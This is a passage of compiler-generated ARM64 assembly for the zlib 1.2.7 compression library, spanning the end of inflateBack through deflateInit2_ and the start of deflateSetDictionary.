ldrb w0, [sp, 72]
cmp w0, 0
beq .L1422
ldrb w0, [sp, 72]
and w0, w0, 240
cmp w0, 0
bne .L1422
ldr w0, [sp, 72]
str w0, [sp, 80]
.L1426:
ldr x0, [sp, 184]
ldr x1, [x0, 96]
ldrh w0, [sp, 82]
mov w3, w0
ldr x0, [sp, 168]
mov w4, w0
ldrb w0, [sp, 81]
mov w2, w0
ldrb w0, [sp, 80]
add w0, w2, w0
mov w2, -1
lsl w0, w2, w0
mvn w0, w0
and w0, w4, w0
ldrb w2, [sp, 81]
lsr w0, w0, w2
add w0, w3, w0
uxtw x0, w0
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 72]
ldrb w0, [sp, 81]
mov w1, w0
ldrb w0, [sp, 73]
add w0, w1, w0
mov w1, w0
ldr w0, [sp, 96]
cmp w0, w1
bcs .L1505
ldr w0, [sp, 88]
cmp w0, 0
bne .L1506
add x0, sp, 152
ldr x2, [sp, 48]
mov x1, x0
ldr x0, [sp, 40]
blr x2
str w0, [sp, 88]
ldr w0, [sp, 88]
cmp w0, 0
bne .L1506
str xzr, [sp, 152]
mov w0, -5
str w0, [sp, 108]
b .L1359
.L1506:
nop
ldr w0, [sp, 88]
sub w0, w0, #1
str w0, [sp, 88]
ldr x0, [sp, 152]
str x0, [sp, 248]
ldr x0, [sp, 152]
add x0, x0, 1
str x0, [sp, 152]
ldr x0, [sp, 248]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 96]
lsl x0, x1, x0
ldr x1, [sp, 168]
add x0, x1, x0
str x0, [sp, 168]
ldr w0, [sp, 96]
add w0, w0, 8
str w0, [sp, 96]
nop
b .L1426
.L1505:
nop
ldrb w0, [sp, 81]
mov w1, w0
ldr x0, [sp, 168]
lsr x0, x0, x1
str x0, [sp, 168]
ldrb w0, [sp, 81]
mov w1, w0
ldr w0, [sp, 96]
sub w0, w0, w1
str w0, [sp, 96]
nop
.L1422:
ldrb w0, [sp, 73]
mov w1, w0
ldr x0, [sp, 168]
lsr x0, x0, x1
str x0, [sp, 168]
ldrb w0, [sp, 73]
mov w1, w0
ldr w0, [sp, 96]
sub w0, w0, w1
str w0, [sp, 96]
nop
ldrh w0, [sp, 74]
mov w1, w0
ldr x0, [sp, 184]
str w1, [x0, 84]
ldrb w0, [sp, 72]
cmp w0, 0
bne .L1427
ldr w0, [sp, 92]
cmp w0, 0
bne .L1507
ldr x0, [sp, 184]
ldr x0, [x0, 64]
str x0, [sp, 160]
ldr x0, [sp, 184]
ldr w0, [x0, 52]
str w0, [sp, 92]
ldr x0, [sp, 184]
ldr w1, [sp, 92]
str w1, [x0, 56]
ldr x3, [sp, 32]
ldr w2, [sp, 92]
ldr x1, [sp, 160]
ldr x0, [sp, 24]
blr x3
str w0, [sp, 144]
ldr w0, [sp, 144]
cmp w0, 0
beq .L1507
mov w0, -5
str w0, [sp, 108]
b .L1359
.L1507:
nop
ldr x0, [sp, 160]
str x0, [sp, 304]
ldr x0, [sp, 160]
add x0, x0, 1
str x0, [sp, 160]
ldr x0, [sp, 184]
ldr w0, [x0, 84]
and w1, w0, 255
ldr x0, [sp, 304]
strb w1, [x0]
ldr w0, [sp, 92]
sub w0, w0, #1
str w0, [sp, 92]
ldr x0, [sp, 184]
mov w1, 20
str w1, [x0]
b .L1356
.L1427:
ldrb w0, [sp, 72]
and w0, w0, 32
cmp w0, 0
beq .L1429
ldr x0, [sp, 184]
mov w1, 11
str w1, [x0]
b .L1356
.L1429:
ldrb w0, [sp, 72]
and w0, w0, 64
cmp w0, 0
beq .L1430
ldr x0, [sp, 56]
adrp x1, .LC32
add x1, x1, :lo12:.LC32
str x1, [x0, 48]
ldr x0, [sp, 184]
mov w1, 29
str w1, [x0]
b .L1356
.L1430:
ldrb w0, [sp, 72]
and w1, w0, 15
ldr x0, [sp, 184]
str w1, [x0, 92]
ldr x0, [sp, 184]
ldr w0, [x0, 92]
cmp w0, 0
beq .L1438
b .L1432
.L1434:
ldr w0, [sp, 88]
cmp w0, 0
bne .L1508
add x0, sp, 152
ldr x2, [sp, 48]
mov x1, x0
ldr x0, [sp, 40]
blr x2
str w0, [sp, 88]
ldr w0, [sp, 88]
cmp w0, 0
bne .L1508
str xzr, [sp, 152]
mov w0, -5
str w0, [sp, 108]
b .L1359
.L1508:
nop
ldr w0, [sp, 88]
sub w0, w0, #1
str w0, [sp, 88]
ldr x0, [sp, 152]
str x0, [sp, 256]
ldr x0, [sp, 152]
add x0, x0, 1
str x0, [sp, 152]
ldr x0, [sp, 256]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 96]
lsl x0, x1, x0
ldr x1, [sp, 168]
add x0, x1, x0
str x0, [sp, 168]
ldr w0, [sp, 96]
add w0, w0, 8
str w0, [sp, 96]
nop
.L1432:
ldr x0, [sp, 184]
ldr w0, [x0, 92]
ldr w1, [sp, 96]
cmp w1, w0
bcc .L1434
nop
ldr x0, [sp, 184]
ldr w1, [x0, 84]
ldr x0, [sp, 168]
mov w3, w0
ldr x0, [sp, 184]
ldr w0, [x0, 92]
mov w2, -1
lsl w0, w2, w0
mvn w0, w0
and w0, w3, w0
add w1, w1, w0
ldr x0, [sp, 184]
str w1, [x0, 84]
ldr x0, [sp, 184]
ldr w0, [x0, 92]
ldr x1, [sp, 168]
lsr x0, x1, x0
str x0, [sp, 168]
ldr x0, [sp, 184]
ldr w0, [x0, 92]
ldr w1, [sp, 96]
sub w0, w1, w0
str w0, [sp, 96]
nop
.L1438:
ldr x0, [sp, 184]
ldr x1, [x0, 104]
ldr x0, [sp, 168]
mov w3, w0
ldr x0, [sp, 184]
ldr w0, [x0, 116]
mov w2, -1
lsl w0, w2, w0
mvn w0, w0
and w0, w3, w0
uxtw x0, w0
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 72]
ldrb w0, [sp, 73]
mov w1, w0
ldr w0, [sp, 96]
cmp w0, w1
bcs .L1509
ldr w0, [sp, 88]
cmp w0, 0
bne .L1510
add x0, sp, 152
ldr x2, [sp, 48]
mov x1, x0
ldr x0, [sp, 40]
blr x2
str w0, [sp, 88]
ldr w0, [sp, 88]
cmp w0, 0
bne .L1510
str xzr, [sp, 152]
mov w0, -5
str w0, [sp, 108]
b .L1359
.L1510:
nop
ldr w0, [sp, 88]
sub w0, w0, #1
str w0, [sp, 88]
ldr x0, [sp, 152]
str x0, [sp, 264]
ldr x0, [sp, 152]
add x0, x0, 1
str x0, [sp, 152]
ldr x0, [sp, 264]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 96]
lsl x0, x1, x0
ldr x1, [sp, 168]
add x0, x1, x0
str x0, [sp, 168]
ldr w0, [sp, 96]
add w0, w0, 8
str w0, [sp, 96]
nop
b .L1438
.L1509:
nop
ldrb w0, [sp, 72]
and w0, w0, 240
cmp w0, 0
bne .L1439
ldr w0, [sp, 72]
str w0, [sp, 80]
.L1443:
ldr x0, [sp, 184]
ldr x1, [x0, 104]
ldrh w0, [sp, 82]
mov w3, w0
ldr x0, [sp, 168]
mov w4, w0
ldrb w0, [sp, 81]
mov w2, w0
ldrb w0, [sp, 80]
add w0, w2, w0
mov w2, -1
lsl w0, w2, w0
mvn w0, w0
and w0, w4, w0
ldrb w2, [sp, 81]
lsr w0, w0, w2
add w0, w3, w0
uxtw x0, w0
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 72]
ldrb w0, [sp, 81]
mov w1, w0
ldrb w0, [sp, 73]
add w0, w1, w0
mov w1, w0
ldr w0, [sp, 96]
cmp w0, w1
bcs .L1511
ldr w0, [sp, 88]
cmp w0, 0
bne .L1512
add x0, sp, 152
ldr x2, [sp, 48]
mov x1, x0
ldr x0, [sp, 40]
blr x2
str w0, [sp, 88]
ldr w0, [sp, 88]
cmp w0, 0
bne .L1512
str xzr, [sp, 152]
mov w0, -5
str w0, [sp, 108]
b .L1359
.L1512:
nop
ldr w0, [sp, 88]
sub w0, w0, #1
str w0, [sp, 88]
ldr x0, [sp, 152]
str x0, [sp, 272]
ldr x0, [sp, 152]
add x0, x0, 1
str x0, [sp, 152]
ldr x0, [sp, 272]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 96]
lsl x0, x1, x0
ldr x1, [sp, 168]
add x0, x1, x0
str x0, [sp, 168]
ldr w0, [sp, 96]
add w0, w0, 8
str w0, [sp, 96]
nop
b .L1443
.L1511:
nop
ldrb w0, [sp, 81]
mov w1, w0
ldr x0, [sp, 168]
lsr x0, x0, x1
str x0, [sp, 168]
ldrb w0, [sp, 81]
mov w1, w0
ldr w0, [sp, 96]
sub w0, w0, w1
str w0, [sp, 96]
nop
.L1439:
ldrb w0, [sp, 73]
mov w1, w0
ldr x0, [sp, 168]
lsr x0, x0, x1
str x0, [sp, 168]
ldrb w0, [sp, 73]
mov w1, w0
ldr w0, [sp, 96]
sub w0, w0, w1
str w0, [sp, 96]
nop
ldrb w0, [sp, 72]
and w0, w0, 64
cmp w0, 0
beq .L1444
ldr x0, [sp, 56]
adrp x1, .LC33
add x1, x1, :lo12:.LC33
str x1, [x0, 48]
ldr x0, [sp, 184]
mov w1, 29
str w1, [x0]
b .L1356
.L1444:
ldrh w0, [sp, 74]
mov w1, w0
ldr x0, [sp, 184]
str w1, [x0, 88]
ldrb w0, [sp, 72]
and w1, w0, 15
ldr x0, [sp, 184]
str w1, [x0, 92]
ldr x0, [sp, 184]
ldr w0, [x0, 92]
cmp w0, 0
beq .L1445
b .L1446
.L1448:
ldr w0, [sp, 88]
cmp w0, 0
bne .L1513
add x0, sp, 152
ldr x2, [sp, 48]
mov x1, x0
ldr x0, [sp, 40]
blr x2
str w0, [sp, 88]
ldr w0, [sp, 88]
cmp w0, 0
bne .L1513
str xzr, [sp, 152]
mov w0, -5
str w0, [sp, 108]
b .L1359
.L1513:
nop
ldr w0, [sp, 88]
sub w0, w0, #1
str w0, [sp, 88]
ldr x0, [sp, 152]
str x0, [sp, 280]
ldr x0, [sp, 152]
add x0, x0, 1
str x0, [sp, 152]
ldr x0, [sp, 280]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 96]
lsl x0, x1, x0
ldr x1, [sp, 168]
add x0, x1, x0
str x0, [sp, 168]
ldr w0, [sp, 96]
add w0, w0, 8
str w0, [sp, 96]
nop
.L1446:
ldr x0, [sp, 184]
ldr w0, [x0, 92]
ldr w1, [sp, 96]
cmp w1, w0
bcc .L1448
nop
ldr x0, [sp, 184]
ldr w1, [x0, 88]
ldr x0, [sp, 168]
mov w3, w0
ldr x0, [sp, 184]
ldr w0, [x0, 92]
mov w2, -1
lsl w0, w2, w0
mvn w0, w0
and w0, w3, w0
add w1, w1, w0
ldr x0, [sp, 184]
str w1, [x0, 88]
ldr x0, [sp, 184]
ldr w0, [x0, 92]
ldr x1, [sp, 168]
lsr x0, x1, x0
str x0, [sp, 168]
ldr x0, [sp, 184]
ldr w0, [x0, 92]
ldr w1, [sp, 96]
sub w0, w1, w0
str w0, [sp, 96]
nop
.L1445:
ldr x0, [sp, 184]
ldr w1, [x0, 56]
ldr x0, [sp, 184]
ldr w0, [x0, 52]
cmp w1, w0
bcs .L1449
ldr w0, [sp, 92]
str w0, [sp, 112]
b .L1450
.L1449:
str wzr, [sp, 112]
.L1450:
ldr x0, [sp, 184]
ldr w1, [x0, 88]
ldr x0, [sp, 184]
ldr w2, [x0, 52]
ldr w0, [sp, 112]
sub w0, w2, w0
cmp w1, w0
bls .L1451
ldr x0, [sp, 56]
adrp x1, .LC34
add x1, x1, :lo12:.LC34
str x1, [x0, 48]
ldr x0, [sp, 184]
mov w1, 29
str w1, [x0]
b .L1356
.L1451:
ldr w0, [sp, 92]
cmp w0, 0
bne .L1514
ldr x0, [sp, 184]
ldr x0, [x0, 64]
str x0, [sp, 160]
ldr x0, [sp, 184]
ldr w0, [x0, 52]
str w0, [sp, 92]
ldr x0, [sp, 184]
ldr w1, [sp, 92]
str w1, [x0, 56]
ldr x3, [sp, 32]
ldr w2, [sp, 92]
ldr x1, [sp, 160]
ldr x0, [sp, 24]
blr x3
str w0, [sp, 140]
ldr w0, [sp, 140]
cmp w0, 0
beq .L1514
mov w0, -5
str w0, [sp, 108]
b .L1359
.L1514:
nop
ldr x0, [sp, 184]
ldr w1, [x0, 52]
ldr x0, [sp, 184]
ldr w0, [x0, 88]
sub w0, w1, w0
str w0, [sp, 100]
ldr w1, [sp, 100]
ldr w0, [sp, 92]
cmp w1, w0
bcs .L1453
ldr w0, [sp, 100]
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 176]
ldr w1, [sp, 92]
ldr w0, [sp, 100]
sub w0, w1, w0
str w0, [sp, 100]
b .L1454
.L1453:
ldr x0, [sp, 184]
ldr w0, [x0, 88]
uxtw x0, w0
neg x0, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 176]
ldr w0, [sp, 92]
str w0, [sp, 100]
.L1454:
ldr x0, [sp, 184]
ldr w0, [x0, 84]
ldr w1, [sp, 100]
cmp w1, w0
bls .L1455
ldr x0, [sp, 184]
ldr w0, [x0, 84]
str w0, [sp, 100]
.L1455:
ldr x0, [sp, 184]
ldr w1, [x0, 84]
ldr w0, [sp, 100]
sub w1, w1, w0
ldr x0, [sp, 184]
str w1, [x0, 84]
ldr w1, [sp, 92]
ldr w0, [sp, 100]
sub w0, w1, w0
str w0, [sp, 92]
.L1458:
ldr x0, [sp, 160]
str x0, [sp, 288]
ldr x0, [sp, 160]
add x0, x0, 1
str x0, [sp, 160]
ldr x0, [sp, 176]
str x0, [sp, 296]
ldr x0, [sp, 176]
add x0, x0, 1
str x0, [sp, 176]
ldr x0, [sp, 296]
ldrb w1, [x0]
ldr x0, [sp, 288]
strb w1, [x0]
ldr w0, [sp, 100]
sub w0, w0, #1
str w0, [sp, 100]
ldr w0, [sp, 100]
cmp w0, 0
beq .L1515
b .L1458
.L1515:
nop
ldr x0, [sp, 184]
ldr w0, [x0, 84]
cmp w0, 0
beq .L1516
b .L1451
.L1516:
nop
b .L1356
.L1350:
mov w0, 1
str w0, [sp, 108]
ldr x0, [sp, 184]
ldr w0, [x0, 52]
ldr w1, [sp, 92]
cmp w1, w0
bcs .L1517
ldr x0, [sp, 184]
ldr x4, [x0, 64]
ldr x0, [sp, 184]
ldr w1, [x0, 52]
ldr w0, [sp, 92]
sub w0, w1, w0
ldr x3, [sp, 32]
mov w2, w0
mov x1, x4
ldr x0, [sp, 24]
blr x3
str w0, [sp, 116]
ldr w0, [sp, 116]
cmp w0, 0
beq .L1517
mov w0, -5
str w0, [sp, 108]
b .L1517
.L1348:
mov w0, -3
str w0, [sp, 108]
b .L1359
.L1349:
mov w0, -2
str w0, [sp, 108]
b .L1359
.L1502:
nop
.L1356:
b .L1462
.L1517:
nop
.L1359:
ldr x1, [sp, 152]
ldr x0, [sp, 56]
str x1, [x0]
ldr x0, [sp, 56]
ldr w1, [sp, 88]
str w1, [x0, 8]
ldr w0, [sp, 108]
str w0, [sp, 84]
.L1344:
ldr w0, [sp, 84]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 328]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L1464
bl __stack_chk_fail
.L1464:
mov w0, w1
ldp x29, x30, [sp], 336
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE94:
.size inflateBack, .-inflateBack
.align 2
.global inflateBackEnd
.type inflateBackEnd, %function
inflateBackEnd:
.LFB95:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
bne .L1519
mov w0, -2
str w0, [sp, 44]
b .L1520
.L1519:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1521
mov w0, -2
str w0, [sp, 44]
b .L1520
.L1521:
ldr x0, [sp, 24]
ldr x0, [x0, 72]
cmp x0, 0
bne .L1522
mov w0, -2
str w0, [sp, 44]
b .L1520
.L1522:
ldr x0, [sp, 24]
ldr x2, [x0, 72]
ldr x0, [sp, 24]
ldr x3, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 56]
mov x1, x0
mov x0, x3
blr x2
ldr x0, [sp, 24]
str xzr, [x0, 56]
str wzr, [sp, 44]
.L1520:
ldr w0, [sp, 44]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE95:
.size inflateBackEnd, .-inflateBackEnd
.global deflate_copyright
.section .rodata
.align 3
.type deflate_copyright, %object
.size deflate_copyright, 68
deflate_copyright:
.string " deflate 1.2.7 Copyright 1995-2012 Jean-loup Gailly and Mark Adler "
.section .data.rel.ro.local
.align 3
.type configuration_table, %object
.size configuration_table, 160
configuration_table:
.hword 0
.hword 0
.hword 0
.hword 0
.xword deflate_stored
.hword 4
.hword 4
.hword 8
.hword 4
.xword deflate_fast
.hword 4
.hword 5
.hword 16
.hword 8
.xword deflate_fast
.hword 4
.hword 6
.hword 32
.hword 32
.xword deflate_fast
.hword 4
.hword 4
.hword 16
.hword 16
.xword deflate_slow
.hword 8
.hword 16
.hword 32
.hword 32
.xword deflate_slow
.hword 8
.hword 16
.hword 128
.hword 128
.xword deflate_slow
.hword 8
.hword 32
.hword 128
.hword 256
.xword deflate_slow
.hword 32
.hword 128
.hword 258
.hword 1024
.xword deflate_slow
.hword 32
.hword 258
.hword 258
.hword 4096
.xword deflate_slow
.text
.align 2
.global deflateInit_
.type deflateInit_, %function
deflateInit_:
.LFB96:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str w1, [sp, 36]
str x2, [sp, 24]
str w3, [sp, 32]
ldr w7, [sp, 32]
ldr x6, [sp, 24]
mov w5, 0
mov w4, 8
mov w3, 15
mov w2, 8
ldr w1, [sp, 36]
ldr x0, [sp, 40]
bl deflateInit2_
str w0, [sp, 60]
ldr w0, [sp, 60]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE96:
.size deflateInit_, .-deflateInit_
.section .rodata
.align 3
.type my_version, %object
.size my_version, 6
my_version:
.string "1.2.7"
.text
.align 2
.global deflateInit2_
.type deflateInit2_, %function
deflateInit2_:
.LFB97:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 56]
str w1, [sp, 52]
str w2, [sp, 48]
str w3, [sp, 44]
str w4, [sp, 40]
str w5, [sp, 36]
str x6, [sp, 24]
str w7, [sp, 32]
mov w0, 1
str w0, [sp, 72]
ldr x0, [sp, 24]
cmp x0, 0
beq .L1556
ldr x0, [sp, 24]
ldrb w1, [x0]
mov w0, 49
cmp w1, w0
bne .L1557
ldr w0, [sp, 32]
cmp w0, 112
beq .L1530
b .L1528
.L1556:
nop
b .L1528
.L1557:
nop
.L1528:
mov w0, -6
str w0, [sp, 68]
b .L1531
.L1530:
ldr x0, [sp, 56]
cmp x0, 0
bne .L1532
mov w0, -2
str w0, [sp, 68]
b .L1531
.L1532:
ldr x0, [sp, 56]
str xzr, [x0, 48]
ldr x0, [sp, 56]
ldr x0, [x0, 64]
cmp x0, 0
bne .L1533
ldr x0, [sp, 56]
adrp x1, zcalloc
add x1, x1, :lo12:zcalloc
str x1, [x0, 64]
ldr x0, [sp, 56]
str xzr, [x0, 80]
.L1533:
ldr x0, [sp, 56]
ldr x0, [x0, 72]
cmp x0, 0
bne .L1534
ldr x0, [sp, 56]
adrp x1, zcfree
add x1, x1, :lo12:zcfree
str x1, [x0, 72]
.L1534:
ldr w0, [sp, 52]
cmn w0, #1
bne .L1535
mov w0, 6
str w0, [sp, 52]
.L1535:
ldr w0, [sp, 44]
cmp w0, 0
bge .L1536
str wzr, [sp, 72]
ldr w0, [sp, 44]
neg w0, w0
str w0, [sp, 44]
b .L1537
.L1536:
ldr w0, [sp, 44]
cmp w0, 15
ble .L1537
mov w0, 2
str w0, [sp, 72]
ldr w0, [sp, 44]
sub w0, w0, #16
str w0, [sp, 44]
.L1537:
ldr w0, [sp, 40]
cmp w0, 0
ble .L1558
ldr w0, [sp, 40]
cmp w0, 9
bgt .L1559
ldr w0, [sp, 48]
cmp w0, 8
bne .L1560
ldr w0, [sp, 44]
cmp w0, 7
ble .L1561
ldr w0, [sp, 44]
cmp w0, 15
bgt .L1562
ldr w0, [sp, 52]
cmp w0, 0
blt .L1563
ldr w0, [sp, 52]
cmp w0, 9
bgt .L1564
ldr w0, [sp, 36]
cmp w0, 0
blt .L1565
ldr w0, [sp, 36]
cmp w0, 4
ble .L1547
b .L1539
.L1558:
nop
b .L1539
.L1559:
nop
b .L1539
.L1560:
nop
b .L1539
.L1561:
nop
b .L1539
.L1562:
nop
b .L1539
.L1563:
nop
b .L1539
.L1564:
nop
b .L1539
.L1565:
nop
.L1539:
mov w0, -2
str w0, [sp, 68]
b .L1531
.L1547:
ldr w0, [sp, 44]
cmp w0, 8
bne .L1548
mov w0, 9
str w0, [sp, 44]
.L1548:
ldr x0, [sp, 56]
ldr x3, [x0, 64]
ldr x0, [sp, 56]
ldr x0, [x0, 80]
mov w2, 5936
mov w1, 1
blr x3
str x0, [sp, 80]
ldr x0, [sp, 80]
cmp x0, 0
bne .L1549
mov w0, -4
str w0, [sp, 68]
b .L1531
.L1549:
ldr x0, [sp, 56]
ldr x1, [sp, 80]
str x1, [x0, 56]
ldr x0, [sp, 80]
ldr x1, [sp, 56]
str x1, [x0]
ldr x0, [sp, 80]
ldr w1, [sp, 72]
str w1, [x0, 44]
ldr x0, [sp, 80]
str xzr, [x0, 48]
ldr w1, [sp, 44]
ldr x0, [sp, 80]
str w1, [x0, 72]
ldr x0, [sp, 80]
ldr w0, [x0, 72]
mov w1, 1
lsl w0, w1, w0
mov w1, w0
ldr x0, [sp, 80]
str w1, [x0, 68]
ldr x0, [sp, 80]
ldr w0, [x0, 68]
sub w1, w0, #1
ldr x0, [sp, 80]
str w1, [x0, 76]
ldr w0, [sp, 40]
add w0, w0, 7
mov w1, w0
ldr x0, [sp, 80]
str w1, [x0, 120]
ldr x0, [sp, 80]
ldr w0, [x0, 120]
mov w1, 1
lsl w0, w1, w0
mov w1, w0
ldr x0, [sp, 80]
str w1, [x0, 116]
ldr x0, [sp, 80]
ldr w0, [x0, 116]
sub w1, w0, #1
ldr x0, [sp, 80]
str w1, [x0, 124]
ldr x0, [sp, 80]
ldr w0, [x0, 120]
add w1, w0, 2
mov w0, 43691
movk w0, 0xaaaa, lsl 16
umull x0, w1, w0
lsr x0, x0, 32
lsr w1, w0, 1
ldr x0, [sp, 80]
str w1, [x0, 128]
ldr x0, [sp, 56]
ldr x3, [x0, 64]
ldr x0, [sp, 56]
ldr x4, [x0, 80]
ldr x0, [sp, 80]
ldr w0, [x0, 68]
mov w2, 2
mov w1, w0
mov x0, x4
blr x3
mov x1, x0
ldr x0, [sp, 80]
str x1, [x0, 80]
ldr x0, [sp, 56]
ldr x3, [x0, 64]
ldr x0, [sp, 56]
ldr x4, [x0, 80]
ldr x0, [sp, 80]
ldr w0, [x0, 68]
mov w2, 2
mov w1, w0
mov x0, x4
blr x3
mov x1, x0
ldr x0, [sp, 80]
str x1, [x0, 96]
ldr x0, [sp, 56]
ldr x3, [x0, 64]
ldr x0, [sp, 56]
ldr x4, [x0, 80]
ldr x0, [sp, 80]
ldr w0, [x0, 116]
mov w2, 2
mov w1, w0
mov x0, x4
blr x3
mov x1, x0
ldr x0, [sp, 80]
str x1, [x0, 104]
ldr x0, [sp, 80]
str xzr, [x0, 5928]
ldr w0, [sp, 40]
add w0, w0, 6
mov w1, 1
lsl w0, w1, w0
mov w1, w0
ldr x0, [sp, 80]
str w1, [x0, 5880]
ldr x0, [sp, 56]
ldr x3, [x0, 64]
ldr x0, [sp, 56]
ldr x4, [x0, 80]
ldr x0, [sp, 80]
ldr w0, [x0, 5880]
mov w2, 4
mov w1, w0
mov x0, x4
blr x3
str x0, [sp, 88]
ldr x0, [sp, 80]
ldr x1, [sp, 88]
str x1, [x0, 16]
ldr x0, [sp, 80]
ldr w0, [x0, 5880]
uxtw x0, w0
lsl x1, x0, 2
ldr x0, [sp, 80]
str x1, [x0, 24]
ldr x0, [sp, 80]
ldr x0, [x0, 80]
cmp x0, 0
beq .L1566
ldr x0, [sp, 80]
ldr x0, [x0, 96]
cmp x0, 0
beq .L1567
ldr x0, [sp, 80]
ldr x0, [x0, 104]
cmp x0, 0
beq .L1568
ldr x0, [sp, 80]
ldr x0, [x0, 16]
cmp x0, 0
bne .L1554
b .L1551
.L1566:
nop
b .L1551
.L1567:
nop
b .L1551
.L1568:
nop
.L1551:
ldr x0, [sp, 80]
mov w1, 666
str w1, [x0, 8]
adrp x0, .LC16
add x1, x0, :lo12:.LC16
ldr x0, [sp, 56]
str x1, [x0, 48]
ldr x0, [sp, 56]
bl deflateEnd
mov w0, -4
str w0, [sp, 68]
b .L1531
.L1554:
ldr x0, [sp, 80]
ldr w0, [x0, 5880]
lsr w0, w0, 1
uxtw x0, w0
lsl x0, x0, 1
ldr x1, [sp, 88]
add x1, x1, x0
ldr x0, [sp, 80]
str x1, [x0, 5888]
ldr x0, [sp, 80]
ldr x2, [x0, 16]
ldr x0, [sp, 80]
ldr w0, [x0, 5880]
uxtw x1, w0
mov x0, x1
lsl x0, x0, 1
add x0, x0, x1
add x1, x2, x0
ldr x0, [sp, 80]
str x1, [x0, 5872]
ldr x0, [sp, 80]
ldr w1, [sp, 52]
str w1, [x0, 180]
ldr x0, [sp, 80]
ldr w1, [sp, 36]
str w1, [x0, 184]
ldr w0, [sp, 48]
and w1, w0, 255
ldr x0, [sp, 80]
strb w1, [x0, 60]
ldr x0, [sp, 56]
bl deflateReset
str w0, [sp, 76]
ldr w0, [sp, 76]
str w0, [sp, 68]
.L1531:
ldr w0, [sp, 68]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE97:
.size deflateInit2_, .-deflateInit2_
.align 2
.global deflateSetDictionary
.type deflateSetDictionary, %function
deflateSetDictionary:
.LFB98:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
ldr x0, [sp, 40]
cmp x0, 0
bne .L1570
mov w0, -2
str w0, [sp, 56]
b .L1571
.L1570:
ldr x0, [sp, 40]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1572
mov w0, -2
str w0, [sp, 56]
b .L1571
.L1572:
ldr x0, [sp, 32]
cmp x0, 0
bne .L1573
mov w0, -2
str w0, [sp, 56]
b .L1571
.L1573:
ldr x0, [sp, 40]
ldr x0, [x0, 56]
str x0, [sp, 80]
ldr x0, [sp, 80]
ldr w0, [x0, 44]
str w0, [sp, 68]
ldr w0, [sp, 68]
cmp w0, 2
bne .L1574
mov w0, -2
str w0, [sp, 56]
b .L1571
.L1574:
ldr w0, [sp, 68]
cmp w0, 1
bne .L1588
ldr x0, [sp, 80]
ldr w0, [x0, 8]
cmp w0, 42
beq .L1589
mov w0, -2
str w0, [sp, 56]
b .L1571
.L1588:
nop
b .L1575
.L1589:
nop
.L1575:
ldr x0, [sp, 80]
ldr w0, [x0, 164]
cmp w0, 0
beq .L1577
mov w0, -2
str w0, [sp, 56]
b .L1571
.L1577:
ldr w0, [sp, 68]
cmp w0, 1
bne .L1578
ldr x0, [sp, 40]
ldr x0, [x0, 96]
ldr w2, [sp, 28]
ldr x1, [sp, 32]
bl adler32
mov x1, x0
ldr x0, [sp, 40]
str x1, [x0, 96]
.L1578:
ldr x0, [sp, 80]
str wzr, [x0, 44]
ldr x0, [sp, 80]
ldr w0, [x0, 68]
ldr w1, [sp, 28]
cmp w1, w0
bcc .L1579
ldr w0, [sp, 68]
cmp w0, 0
bne .L1580
ldr x0, [sp, 80]
ldr x1, [x0, 104]
ldr x0, [sp, 80]
ldr w0, [x0, 116]
sub w0, w0, #1
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
strh wzr, [x0]
ldr x0, [sp, 80]
ldr x3, [x0, 104]
ldr x0, [sp, 80]
ldr w0, [x0, 116]
sub w0, w0, #1
lsl w0, w0, 1
mov w2, w0
mov w1, 0
mov x0, x3
bl memset
ldr x0, [sp, 80]
str wzr, [x0, 156]
ldr x0, [sp, 80]
str xzr, [x0, 136]
ldr x0, [sp, 80]
str wzr, [x0, 5916]
.L1580:
ldr x0, [sp, 80]
ldr w0, [x0, 68]
ldr w1, [sp, 28]
sub w0, w1, w0
uxtw x0, w0
ldr x1, [sp, 32]
add x0, x1, x0
str x0, [sp, 32]
ldr x0, [sp, 80]
ldr w0, [x0, 68]
str w0, [sp, 28]
.L1579:
ldr x0, [sp, 40]
ldr w0, [x0, 8]
str w0, [sp, 72]
ldr x0, [sp, 40]
ldr x0, [x0]
str x0, [sp, 88]
ldr x0, [sp, 40]
ldr w1, [sp, 28]
str w1, [x0, 8]
ldr x0, [sp, 40]
ldr x1, [sp, 32]
str x1, [x0]
ldr x0, [sp, 80]
bl fill_window
b .L1581
.L1585:
ldr x0, [sp, 80]
ldr w0, [x0, 156]
str w0, [sp, 60]
